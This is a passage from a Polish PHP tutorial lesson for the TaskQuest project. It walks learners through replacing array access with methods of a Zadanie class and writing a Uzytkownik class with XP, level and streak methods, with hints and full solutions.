<p class="wp-block-paragraph">Po każdej zmianie odświeżaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot use object of type Zadanie as array</code> przesunie się do kolejnej funkcji, a na końcu — do <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzWykonaneZadania()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzAktywneZadania()</code> jest funkcja przekazana do <code class="prettyprint lang-sql" style="font-size: 0.85em;">array_filter()</code> — to w niej jest odwołanie do klucza. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code> — w funkcji porównującej przekazanej do <code class="prettyprint lang-sql" style="font-size: 0.85em;">usort()</code>. Jeśli w warunku było porównanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">=== true</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">=== false</code>, możesz je zostawić — <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyWykonane()</code> zwraca prawdziwy <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

function pobierzWykonaneZadania(array $zadania): array
{
    return array_filter($zadania, function ($zadanie) {
        return $zadanie-&gt;czyWykonane();
    });
}


function pobierzAktywneZadania(array $zadania): array
{
    return array_filter($zadania, function ($zadanie) {
        return !$zadanie-&gt;czyWykonane();
    });
}


function sumujXp(array $zadania): int
{
    $suma = 0;

    foreach ($zadania as $zadanie) {
        $suma += $zadanie-&gt;pobierzXp();
    }

    return $suma;
}


function sortujPoTerminie(array $zadania): array
{
    usort($zadania, function ($a, $b) {
        return $a-&gt;pobierzTermin() &lt;=&gt; $b-&gt;pobierzTermin();
    });

    return $zadania;
}


function nastepneIdZadania(array $zadania): int
{
    $najwiekszeId = 0;

    foreach ($zadania as $zadanie) {
        if ($zadanie-&gt;pobierzId() &gt; $najwiekszeId) {
            $najwiekszeId = $zadanie-&gt;pobierzId();
        }
    }

    return $najwiekszeId + 1;
}

// ... walidujNoweZadanie() — bez zmian ...
</code></pre>



<p class="wp-block-paragraph">Jeśli Twoje funkcje są zapisane inaczej (np. funkcją strzałkową <code class="prettyprint lang-sql" style="font-size: 0.85em;">fn</code> albo z inną nazwą zmiennej w pętli) — zostaw swój zapis i zmień tylko odwołania z tabeli. Typy parametrów (<code class="prettyprint lang-sql" style="font-size: 0.85em;">array $zadania</code>) i typy zwracane się nie zmieniają: to nadal tablice, tylko z obiektami w środku. <code class="prettyprint lang-sql" style="font-size: 0.85em;">array_filter()</code> nadal zachowuje klucze, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">usort()</code> nadal numeruje od <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>.</p>
</details>



<h2 class="wp-block-heading">Krok 4 — SAMODZIELNIE: lista zadań w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> + wyróżnienie zadań po terminie</h2>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></strong>, sekcja prezentacji (gałąź <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code> sekcji „Twoje zadania”).</p>



<ol class="wp-block-list">
<li>W bloku <strong>„najpilniejsze zadanie”</strong> i w pętli <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach ($zadaniaDoWyswietlenia as $zadanie)</code> zamień wszystkie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$najpilniejsze['...']</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['...']</code> na metody. W pętli jest ich dziewięć, w bloku najpilniejszego zadania — dwa.</li>



<li><strong>Nowość dla użytkownika:</strong> zadanie po terminie ma dostać klasę CSS <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadanie po-terminie</code> (zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadanie</code>). Użyj <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code> — to jedyne miejsce w aplikacji, gdzie ta metoda jest dziś potrzebna.</li>



<li><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code></strong> — w <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;style&gt;</code>, pod regułą <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sukces</code>, dodaj regułę:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">.zadanie.po-terminie { border: 2px solid #c0392b; }</code></pre>



<p class="wp-block-paragraph"><strong>Efekt:</strong> strona wygląda jak po Lekcji 14, ale niewykonane zadania z minionym terminem mają czerwoną ramkę. Brak błędów i ostrzeżeń.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Uważaj na wstawianie w tekst. Zapis <code class="prettyprint lang-sql" style="font-size: 0.85em;">{$zadanie['xp']}</code> wewnątrz cudzysłowu zamień na <strong>sklejanie</strong> kropką: <code class="prettyprint lang-sql" style="font-size: 0.85em;">" — " . $zadanie-&gt;pobierzXp() . " XP&lt;/p&gt;"</code>. (Wywołanie metody w klamrach wewnątrz cudzysłowu też działa, ale sklejanie jest czytelniejsze.) Dla klasy CSS: najpierw zostaw dotychczasowe przypisanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$klasa</code>, a pod nim — jeśli zadanie jest po terminie — nadpisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">$klasa</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">Najpilniejsze zadanie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            $najpilniejsze = $aktywneWgTerminu&#91;0];
            echo "&lt;p&gt;Najpilniejsze zadanie: &lt;strong&gt;" . wyczyscTytul($najpilniejsze-&gt;pobierzTytul()) . "&lt;/strong&gt; — "
                . komunikatTerminu($najpilniejsze-&gt;pobierzTermin()) . "&lt;/p&gt;";
</code></pre>



<p class="wp-block-paragraph">Pętla:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        foreach ($zadaniaDoWyswietlenia as $zadanie) {
            $tytulCzysty = wyczyscTytul($zadanie-&gt;pobierzTytul());
            $znacznik = $zadanie-&gt;czyWykonane() ? "&#91;X]" : "&#91; ]";
            $klasa = $zadanie-&gt;czyWykonane() ? "zadanie wykonane" : "zadanie";

            if ($zadanie-&gt;czyPoTerminie()) {
                $klasa = "zadanie po-terminie";
            }

            echo "&lt;div class=\"$klasa\"&gt;";
            echo "&lt;p&gt;&lt;strong&gt;$znacznik $tytulCzysty&lt;/strong&gt; — " . $zadanie-&gt;pobierzXp() . " XP&lt;/p&gt;";
            echo "&lt;p&gt;" . skrocOpis($zadanie-&gt;pobierzOpis(), 50) . "&lt;/p&gt;";
            echo "&lt;p&gt;Termin: " . $zadanie-&gt;pobierzTermin();

            if (!$zadanie-&gt;czyWykonane()) {
                echo " — " . komunikatTerminu($zadanie-&gt;pobierzTermin());
            }

            echo "&lt;/p&gt;";

            if (stripos($tytulCzysty, 'PHP') !== false) {
                echo "&lt;p&gt;To zadanie dotyczy PHP.&lt;/p&gt;";
            }

            echo "&lt;/div&gt;";
        }
</code></pre>



<p class="wp-block-paragraph">Dlaczego nadpisujemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$klasa</code> tylko jednym <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>? <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code> samo zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> dla wykonanych zadań — tę regułę zapisaliśmy <strong>raz</strong>, w klasie. Strona nie musi jej znać.</p>
</details>



<h2 class="wp-block-heading">Krok 5 — SAMODZIELNIE: zapis zadań</h2>



<p class="wp-block-paragraph">Zostały dwa miejsca, w których zadania wracają do pliku lub powstają z formularza.</p>



<p class="wp-block-paragraph"><strong>a) Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>, funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>.</strong> Tam, gdzie dla każdego zadania budowana jest tablica przekazywana do <code class="prettyprint lang-sql" style="font-size: 0.85em;">fputcsv()</code>, zamień <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['...']</code> na metody. <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> nadal zapisujemy jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>. Kolejność pól <strong>musi</strong> zostać taka sama jak w nagłówku: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id;tytul;opis;termin;wykonane;xp</code>.</p>



<p class="wp-block-paragraph"><strong>b) Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>.</strong> Nowe zadanie dopisywane do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> ma być obiektem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> (argumenty nazwane, <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) $xpZadania</code>).</p>



<p class="wp-block-paragraph"><strong>Sprawdź:</strong> dodaj przez formularz zadanie „Test OOP”, termin za tydzień, 25 XP. Pojawia się komunikat „Zadanie zostało dodane.”, zadanie jest na liście, a ostatnia linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> ma <strong>taki sam format</strong> jak linie zadań dodanych w Lekcji 13–14 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>, bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>).</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">a) Fragment <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> (wiersz dla jednego zadania):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        fputcsv($plik, &#91;
            $zadanie-&gt;pobierzId(),
            $zadanie-&gt;pobierzTytul(),
            $zadanie-&gt;pobierzOpis(),
            $zadanie-&gt;pobierzTermin(),
            $zadanie-&gt;czyWykonane() ? 1 : 0,
            $zadanie-&gt;pobierzXp()
        ], ';', '"', '');
</code></pre>



<p class="wp-block-paragraph">(U Ciebie zmienna pliku może się nazywać inaczej — zostaw swoją. Końcówka <code class="prettyprint lang-sql" style="font-size: 0.85em;">';', '"', ''</code> bez zmian, jak od Lekcji 11.)</p>



<p class="wp-block-paragraph">b) W <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, w bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            $zadania = wczytajZadania(PLIK_ZADAN);

            $zadania&#91;] = new Zadanie(
                id: nastepneIdZadania($zadania),
                tytul: $tytulZadania,
                opis: $opisZadania,
                termin: $terminZadania,
                wykonane: false,
                xp: (int) $xpZadania
            );

            zapiszZadania(PLIK_ZADAN, $zadania);
</code></pre>



<p class="wp-block-paragraph">Walidacja formularza, komunikat i przekierowanie — bez zmian.</p>



<p class="wp-block-paragraph"><strong>Punkt kontrolny.</strong> Strona główna wygląda tak jak po Lekcji 14 (plus czerwone ramki). Liczniki, XP do zdobycia, najpilniejsze zadanie, trzy widoki listy i dodawanie zadania działają. W całym projekcie nie ma już ani jednego <code class="prettyprint lang-sql" style="font-size: 0.85em;">['tytul']</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">['wykonane']</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">['xp']</code>&#8230; na zadaniu — możesz to sprawdzić wyszukiwaniem w edytorze (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Ctrl+Shift+F</code>, szukaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">['wykonane']</code>). Jedyne miejsca z tymi nazwami to: nagłówek CSV w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> i konstruktor klasy.</p>
</details>



<h1 class="wp-block-heading">6. Kolejne zadanie — klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code></h1>



<p class="wp-block-paragraph">Zadanie jest już obiektem. Teraz to samo z użytkownikiem — tym razem <strong>z mniejszą pomocą</strong>.</p>



<p class="wp-block-paragraph">Przypomnij sobie problem z sekcji 2: dane gracza leżą w trzech miejscach, a żeby policzyć jego poziom, trzeba za każdym razem podać funkcji jego własne XP. Obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> ma <strong>sam</strong> trzymać swoje dane i <strong>sam</strong> odpowiadać na pytania o siebie.</p>



<h2 class="wp-block-heading">6a. SAMODZIELNIE — <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code></h2>



<p class="wp-block-paragraph"><strong>Nowy plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>.</strong></p>



<p class="wp-block-paragraph"><strong>Właściwości</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>) — nazwy <strong>takie same jak dotychczasowe zmienne w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></strong>:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Właściwość</th><th>Typ</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Konstruktor</strong> — pięć parametrów w tej kolejności.</p>



<p class="wp-block-paragraph"><strong>Metody</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Metoda</th><th>Zwraca</th><th>Co robi</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzLogin()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>login</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzImie()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>imię</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzXp()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>łączne XP</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzStreak()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>streak</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzPoziom()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>poziom — tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom()</code> dla XP tego użytkownika</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytulGracza()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>tytuł gracza — tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code> dla jego poziomu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzXpWAktualnymPoziomie()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczXpWAktualnymPoziomie()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzProcentPostepu()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">float</code></td><td>tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczProcentPostepu()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzBrakujaceXp()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">ileBrakujeXp()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp(int $xp)</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">void</code></td><td>dodaje XP; gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> ≤ 0 — rzuca <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> z komunikatem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Liczba XP do dodania musi być większa od zera.</code> (XP się wtedy nie zmienia)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(bool $zadanieWykonane)</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">void</code></td><td>zmienia streak użytkownika według zasad z funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Zasady:</p>



<ul class="wp-block-list">
<li><strong>Nie przepisuj logiki funkcji z <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_grywalizacji.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_terminow.php</code> — wywołaj je w metodach.</strong> Reguły poziomów, tytułów i streaka mają zostać w aplikacji w jednym miejscu. (Tak samo w Lekcji 14 <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code> wywoływała <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code>, zamiast kopiować regex.)</li>



<li>Wewnątrz metody użytkownik nie potrzebuje, żeby ktoś podawał mu XP czy poziom — ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp</code>, a poziom może policzyć własną metodą: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;pobierzPoziom()</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code> nie ma gettera — strona jej nie wyświetla. Obiekt potrzebuje jej tylko do liczenia streaka.</li>



<li>Na górze pliku, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php</code>, dopisz komentarz, z jakich plików korzystają metody — strona, która tworzy obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>, musi je dołączyć.</li>
</ul>



<p class="wp-block-paragraph"><strong>Sprawdź</strong> (brudnopis — zastąp zawartość):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';

$uzytkownik = new Uzytkownik(
    login: 'Kama_2026',
    imieUzytkownika: 'Kama',
    xp: 99,
    streak: 5,
    dataOstatniejAktywnosci: '2026-09-14'
);

echo "&lt;p&gt;" . $uzytkownik-&gt;pobierzImie() . " (" . $uzytkownik-&gt;pobierzLogin() . ")&lt;/p&gt;";
echo "&lt;p&gt;Poziom " . $uzytkownik-&gt;pobierzPoziom() . ", " . $uzytkownik-&gt;pobierzTytulGracza() . "&lt;/p&gt;";
echo "&lt;p&gt;Brakuje: " . $uzytkownik-&gt;pobierzBrakujaceXp() . " XP&lt;/p&gt;";

$uzytkownik-&gt;dodajXp(30);
echo "&lt;p&gt;Po dodaniu: " . $uzytkownik-&gt;pobierzXp() . " XP, poziom " . $uzytkownik-&gt;pobierzPoziom() . "&lt;/p&gt;";</code></pre>



<p class="wp-block-paragraph">Oczekiwane: poziom, tytuł i brakujące XP <strong>takie same, jakie strona główna TaskQuest pokazywała dla 99 XP</strong>; po dodaniu 129 XP i poziom taki, jaki dałaby <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom(129)</code>. Pełne testy — w sekcji 7.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Gettery i konstruktor piszesz tak jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>. Metody liczące mają po jednej linii: <code class="prettyprint lang-sql" style="font-size: 0.85em;">return funkcja(...);</code> — tylko zamiast zmiennych z <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> podajesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;pobierzPoziom()</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> <strong>zmienia</strong> obiekt: wynik funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> trzeba zapisać z powrotem do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;streak</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code> zbudujesz według <code class="prettyprint lang-sql" style="font-size: 0.85em;">zwiekszNagrode()</code> z odznaki.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    public function pobierzPoziom(): int
    {
        return obliczPoziom($this-&gt;xp);
    }

    public function pobierzTytulGracza(): string
    {
        return pobierzTytul(/* ... poziom tego użytkownika ... */);
    }

    public function aktualizujStreak(bool $zadanieWykonane): void
    {
        $this-&gt;streak = aktualizujStreak(/* ... trzy argumenty ... */);
    }</code></pre>



<p class="wp-block-paragraph">W ostatniej metodzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak</code> występuje dwa razy: raz jako nazwa <strong>metody</strong> (wywoływanej na obiekcie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak(...)</code>), raz jako nazwa <strong>funkcji</strong> (wywoływanej bez obiektu). To nie jest metoda, która wywołuje samą siebie — to metoda, która prosi o pomoc funkcję o tej samej nazwie.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code></strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Metody korzystają z funkcji z includes/funkcje_grywalizacji.php i includes/funkcje_terminow.php
// (oraz stałej XP_NA_POZIOM) — strona, która tworzy obiekt Uzytkownik, musi je dołączyć.

class Uzytkownik
{
    private string $login;
    private string $imieUzytkownika;
    private int $xp;
    private int $streak;
    private string $dataOstatniejAktywnosci;

    public function __construct(
        string $login,
        string $imieUzytkownika,
        int $xp,
        int $streak,
        string $dataOstatniejAktywnosci
    ) {
        $this-&gt;login = $login;
        $this-&gt;imieUzytkownika = $imieUzytkownika;
        $this-&gt;xp = $xp;
        $this-&gt;streak = $streak;
        $this-&gt;dataOstatniejAktywnosci = $dataOstatniejAktywnosci;
    }

    public function pobierzLogin(): string
    {
        return $this-&gt;login;
    }

    public function pobierzImie(): string
    {
        return $this-&gt;imieUzytkownika;
    }

    public function pobierzXp(): int
    {
        return $this-&gt;xp;
    }

    public function pobierzStreak(): int
    {
        return $this-&gt;streak;
    }

    public function pobierzPoziom(): int
    {
        return obliczPoziom($this-&gt;xp);
    }

    public function pobierzTytulGracza(): string
    {
        return pobierzTytul($this-&gt;pobierzPoziom());
    }

    public function pobierzXpWAktualnymPoziomie(): int
    {
        return obliczXpWAktualnymPoziomie($this-&gt;xp, $this-&gt;pobierzPoziom());
    }

    public function pobierzProcentPostepu(): float
    {
        return obliczProcentPostepu($this-&gt;pobierzXpWAktualnymPoziomie());
    }

    public function pobierzBrakujaceXp(): int
    {
        return ileBrakujeXp($this-&gt;xp, $this-&gt;pobierzPoziom());
    }

    public function dodajXp(int $xp): void
    {
        if ($xp &lt;= 0) {
            throw new Exception('Liczba XP do dodania musi być większa od zera.');
        }

        $this-&gt;xp += $xp;
    }

    public function aktualizujStreak(bool $zadanieWykonane): void
    {
        $this-&gt;streak = aktualizujStreak($this-&gt;streak, $this-&gt;dataOstatniejAktywnosci, $zadanieWykonane);
    }
}
</code></pre>



<p class="wp-block-paragraph">Zwróć uwagę na <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> to parametr (ile dodać), <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp</code> — łączne XP użytkownika. Dokładnie ta sama sytuacja co <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwa</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;nazwa</code> w konstruktorze odznaki.</p>



<p class="wp-block-paragraph">Dlaczego jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code>, a nie ma „ustaw XP”? W grze XP się <strong>zdobywa</strong>. Metoda, która pozwala tylko dodawać, sprawia, że żaden kod nie odbierze użytkownikowi punktów przez pomyłkę.</p>
</details>



<h2 class="wp-block-heading">6b. SAMODZIELNIE — <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> korzysta z obiektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code></h2>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</strong></p>



<ol class="wp-block-list">
<li>W bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- pliki aplikacji ---</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, dołącz <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>.</li>



<li>Blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- dane użytkownika (z sesji ...) ---</code> (dwie zmienne) i blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- dane grywalizacji (symulowane) ---</code> (trzy zmienne) zastąp <strong>jednym</strong> blokiem, który tworzy obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code>. Postaw go w miejscu dotychczasowych danych użytkownika — przed danymi zadań. Wartości: login i imię z sesji, XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">99</code>, streak <code class="prettyprint lang-sql" style="font-size: 0.85em;">5</code>, data <code class="prettyprint lang-sql" style="font-size: 0.85em;">'2026-09-14'</code> (te same symulowane wartości co dotąd). Użyj argumentów nazwanych.</li>



<li>W bloku „wywołania funkcji: grywalizacja” pięć wywołań funkcji zastąp metodami obiektu (zmienne <code class="prettyprint lang-sql" style="font-size: 0.85em;">$poziom</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xpWAktualnymPoziomie</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$procentPostepu</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$brakujeXp</code> zostają — zmienia się tylko prawa strona). Zmień też komentarz bloku na <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- wywołania metod: grywalizacja ---</code>.</li>



<li>Linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak = aktualizujStreak(...)</code> zastąp wywołaniem metody.</li>



